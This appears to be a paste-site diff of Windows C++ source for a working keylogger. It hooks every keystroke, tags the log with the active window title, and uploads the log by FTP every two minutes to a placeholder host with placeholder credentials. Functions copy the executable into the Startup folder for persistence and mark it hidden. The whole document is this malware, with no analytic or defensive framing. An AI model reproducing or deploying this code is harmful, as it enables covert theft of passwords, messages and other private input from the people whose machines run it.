SHOW:
|
|
- or go back to the newest paste.
1 | #include "stdafx.h" | |
2 | #pragma comment (lib,"wininet.lib") | |
3 | #include <windows.h> | |
4 | #include <wininet.h> | |
5 | #include <string> | |
6 | #include <fstream> | |
7 | #include <ctime> | |
8 | #include <Shlobj.h> | |
9 | ||
10 | #define LOG_TIME 1 | |
11 | #define UPLOAD_TIME 2 | |
12 | ||
13 | // Globals | |
14 | wchar_t *logfile = L"testlog.txt"; | |
15 | wchar_t *hostname = L"FTP HOSTNAME"; | |
16 | wchar_t *username = L"FTP USERNAME"; | |
17 | wchar_t *password = L"FTP PASSWORD"; | |
18 | std::wofstream file; | |
19 | std::wstring logbuffer; | |
20 | int write_to_file_interval = 10; | |
21 | int upload_interval = 2; | |
22 | std::wstring key = L""; | |
23 | int key_count = 0; | |
24 | bool shift_pressed = false; | |
25 | bool capslock_on = false; | |
26 | bool capital = false; | |
27 | - | std::wstring last_active_window = L"""; |
27 | + | std::wstring last_active_window = L""; |
28 | ||
29 | bool upload_file(wchar_t *filename, wchar_t *uploaded_filename, | |
30 | wchar_t *hostname, wchar_t *username, wchar_t *password) { | |
31 | HINTERNET hInternet; | |
32 | HINTERNET hFtp; | |
33 | ||
34 | hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); | |
35 | hFtp = InternetConnect(hInternet, hostname, INTERNET_DEFAULT_FTP_PORT, | |
36 | username, password, INTERNET_SERVICE_FTP, 0, 0); | |
37 | BOOL uploaded = FtpPutFile(hFtp, filename, uploaded_filename, | |
38 | FTP_TRANSFER_TYPE_BINARY, 0); | |
39 | InternetCloseHandle(hFtp); | |
40 | InternetCloseHandle(hInternet); | |
41 | return uploaded; | |
42 | } | |
43 | ||
44 | std::wstring get_active_window_title() { | |
45 | wchar_t title[256]; | |
46 | HWND hwnd = GetForegroundWindow(); | |
47 | GetWindowText(hwnd, title, sizeof(title)); | |
48 | return title; | |
49 | } | |
50 | ||
51 | std::wstring get_date_and_time(int type) { | |
52 | time_t rawtime; | |
53 | struct tm *timeinfo; | |
54 | wchar_t date_and_time[256]; | |
55 | ||
56 | time(&rawtime); | |
57 | timeinfo = localtime(&rawtime); | |
58 | switch (type) { | |
59 | case LOG_TIME: | |
60 | wcsftime(date_and_time, 256, L"%x_%X", timeinfo); | |
61 | break; | |
62 | case UPLOAD_TIME: | |
63 | wcsftime(date_and_time, 256,L"%m.%d.%y_%X", timeinfo); | |
64 | break; | |
65 | default:; | |
66 | } | |
67 | return date_and_time; | |
68 | } | |
69 | ||
70 | std::wstring generate_upload_file_name() { | |
71 | std::wstring file_name; | |
72 | std::wstring date_and_time = get_date_and_time(UPLOAD_TIME); | |
73 | wchar_t windows_username[256]; | |
74 | ||
75 | DWORD length = sizeof(windows_username); | |
76 | GetUserName(windows_username, &length); | |
77 | ||
78 | file_name = windows_username; | |
79 | file_name.append(L"_" ); | |
80 | file_name.append(date_and_time); | |
81 | file_name.append(L".txt"); | |
82 | return file_name; | |
83 | } | |
84 | ||
85 | void move_to_startup(wchar_t *new_filename) { | |
86 | wchar_t file_path[MAX_PATH]; | |
87 | wchar_t startup_path[MAX_PATH]; | |
88 | ||
89 | //get path of running application | |
90 | GetModuleFileName(NULL, file_path, sizeof(file_path)); | |
91 | ||
92 | //get startup folder path | |
93 | SHGetFolderPath(NULL, CSIDL_STARTUP, 0, NULL, startup_path); | |
94 | ||
95 | //concatenates new file name to the end of startup folder path | |
96 | _tcscat(startup_path, TEXT("\\")); | |
97 | _tcscat(startup_path, new_filename); | |
98 | ||
99 | std::wifstream fs(startup_path); | |
100 | if (!fs.good()) | |
101 | MoveFile(file_path, startup_path); | |
102 | fs.close(); | |
103 | } | |
104 | ||
105 | void hide_file() { | |
106 | wchar_t file_path[MAX_PATH]; | |
107 | GetModuleFileName(NULL, file_path, sizeof(file_path)); | |
108 | SetFileAttributes(file_path, FILE_ATTRIBUTE_HIDDEN); | |
109 | } | |
110 | ||
111 | LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, | |
112 | LPARAM lParam) { | |
113 | PKBDLLHOOKSTRUCT keystroke = (PKBDLLHOOKSTRUCT)(lParam); | |
114 | if (wParam == WM_KEYUP) { | |
115 | switch (keystroke->vkCode) { | |
116 | case VK_RSHIFT: | |
117 | case VK_LSHIFT: shift_pressed = false; | |
118 | break; | |
119 | default:; | |
120 | } | |
121 | } | |
122 | ||
123 | if (wParam == WM_KEYDOWN) { | |
124 | capital = !shift_pressed != !capslock_on; | |
125 | ||
126 | if (last_active_window != get_active_window_title()) { | |
127 | last_active_window = get_active_window_title(); | |
128 | logbuffer += L"\n\n["; | |
129 | logbuffer += get_date_and_time(LOG_TIME); | |
130 | logbuffer += L"] [" + last_active_window; | |
131 | logbuffer += L"]\n"; | |
132 | } | |
133 | ||
134 | switch (keystroke->vkCode) { | |
135 | case VK_RSHIFT: | |
136 | case VK_LSHIFT: key = L"[SHIFT]"; shift_pressed = true; | |
137 | break; | |
138 | case VK_CAPITAL: key = L"[CAPSLOCK]"; capslock_on = !capslock_on; | |
139 | break; | |
140 | case VK_SPACE: key = L" "; | |
141 | break; | |
142 | case VK_RETURN: key = L"[ENTER]"; | |
143 | break; | |
144 | case VK_BACK: | |
145 | case VK_DELETE: key = L"[DEL]"; | |
146 | break; | |
147 | case VK_RIGHT: key = L"[RIGHT]"; | |
148 | break; | |
149 | case VK_LEFT: key = L"[LEFT]"; | |
150 | break; | |
151 | case VK_UP: key = L"[UP]"; | |
152 | break; | |
153 | case VK_DOWN: key = L"[DOWN]"; | |
154 | break; | |
155 | case VK_SNAPSHOT: key = L"[SCREENSHOT]"; | |
156 | break; | |
157 | case 0x41: key = (capital) ? L"A" : L"a"; | |
158 | break; | |
159 | case 0x42: key = (capital) ? L"B" : L"b"; | |
160 | break; | |
161 | case 0x43: key = (capital) ? L"C" : L"c"; | |
162 | break; | |
163 | case 0x44: key = (capital) ? L"D" : L"d"; | |
164 | break; | |
165 | case 0x45: key = (capital) ? L"E" : L"e"; | |
166 | break; | |
167 | case 0x46: key = (capital) ? L"F" : L"f"; | |
168 | break; | |
169 | case 0x47: key = (capital) ? L"G" : L"g"; | |
170 | break; | |
171 | case 0x48: key = (capital) ? L"H" : L"h"; | |
172 | break; | |
173 | case 0x49: key = (capital) ? L"I" : L"i"; | |
174 | break; | |
175 | case 0x4A: key = (capital) ? L"J" : L"j"; | |
176 | break; | |
177 | case 0x4B: key = (capital) ? L"K" : L"k"; | |
178 | break; | |
179 | case 0x4C: key = (capital) ? L"L" : L"l"; | |
180 | break; | |
181 | case 0x4D: key = (capital) ? L"M" : L"m"; | |
182 | break; | |
183 | case 0x4E: key = (capital) ? L"N" : L"n"; | |
184 | break; | |
185 | case 0x4F: key = (capital) ? L"O" : L"o"; | |
186 | break; | |
187 | case 0x50: key = (capital) ? L"P" : L"p"; | |
188 | break; | |
189 | case 0x51: key = (capital) ? L"Q" : L"q"; | |
190 | break; | |
191 | case 0x52: key = (capital) ? L"R" : L"r"; | |
192 | break; | |
193 | case 0x53: key = (capital) ? L"S" : L"s"; | |
194 | break; | |
195 | case 0x54: key = (capital) ? L"T" : L"t"; | |
196 | break; | |
197 | case 0x55: key = (capital) ? L"U" : L"u"; | |
198 | break; | |
199 | case 0x56: key = (capital) ? L"V" : L"v"; | |
200 | break; | |
201 | case 0x57: key = (capital) ? L"W" : L"w"; | |
202 | break; | |
203 | case 0x58: key = (capital) ? L"X" : L"x"; | |
204 | break; | |
205 | case 0x59: key = (capital) ? L"Y" : L"y"; | |
206 | break; | |
207 | case 0x5A: key = (capital) ? L"Z" : L"z"; | |
208 | break; | |
209 | case 0x30: key = (shift_pressed) ? L")" : L"0"; | |
210 | break; | |
211 | case 0x31: key = (shift_pressed) ? L"!" : L"1"; | |
212 | break; | |
213 | case 0x32: key = (shift_pressed) ? L"@" : L"2"; | |
214 | break; | |
215 | case 0x33: key = (shift_pressed) ? L"#" : L"3"; | |
216 | break; | |
217 | case 0x34: key = (shift_pressed) ? L"$" : L"4"; | |
218 | break; | |
219 | case 0x35: key = (shift_pressed) ? L"%" : L"5"; | |
220 | break; | |
221 | case 0x36: key = (shift_pressed) ? L"^" : L"6"; | |
222 | break; | |
223 | case 0x37: key = (shift_pressed) ? L"&" : L"7"; | |
224 | break; | |
225 | case 0x38: key = (shift_pressed) ? L"*" : L"8"; | |
226 | break; | |
227 | case 0x39: key = (shift_pressed) ? L"(" : L"9"; | |
228 | break; | |
229 | default: key = L""; | |
230 | } | |
231 | ||
232 | if (key != L"") { | |
233 | logbuffer += key; | |
234 | key_count++; | |
235 | } | |
236 | ||
237 | if (key_count % write_to_file_interval == 0) { | |
238 | file.open(logfile, std::ios_base::app); | |
239 | file << logbuffer; | |
240 | logbuffer = L""; | |
241 | file.close(); | |
242 | } | |
243 | } | |
244 | return CallNextHookEx(NULL, nCode, wParam, lParam); | |
245 | } | |
246 | ||
247 | void CALLBACK upload_timer(HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime) { | |
248 | if (logbuffer.size() > 0) { | |
249 | file.open(logfile, std::ios_base::app); | |
250 | file << logbuffer; | |
251 | file.close(); | |
252 | logbuffer = L""; | |
253 | } | |
254 | std::ifstream in(logfile); | |
255 | if (in.is_open()) { | |
256 | in.seekg(0, in.end); | |
257 | size_t size = in.tellg(); | |
258 | if (size > 0) { | |
259 | upload_file(logfile, &generate_upload_file_name()[0], hostname, | |
260 | username, password); | |
261 | file.open(logfile, std::ofstream::out | std::ofstream::trunc); | |
262 | file.close(); | |
263 | } | |
264 | in.close(); | |
265 | } | |
266 | } | |
267 | ||
268 | int APIENTRY wWinMain(_In_ HINSTANCE hInstance, | |
269 | _In_opt_ HINSTANCE hPrevInstance, | |
270 | _In_ LPWSTR lpCmdLine, | |
271 | _In_ int nCmdShow) { | |
272 | HHOOK kb_hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, | |
273 | hInstance, 0); | |
274 | MSG msg; | |
275 | SetTimer(NULL, 0, 1000*60*upload_interval, (TIMERPROC)&upload_timer); | |
276 | while (GetMessage(&msg, NULL, NULL, NULL)) { | |
277 | TranslateMessage(&msg); | |
278 | DispatchMessage(&msg); | |
279 | } | |
280 | UnhookWindowsHookEx(kb_hook); | |
281 | return 0; | |
282 | } |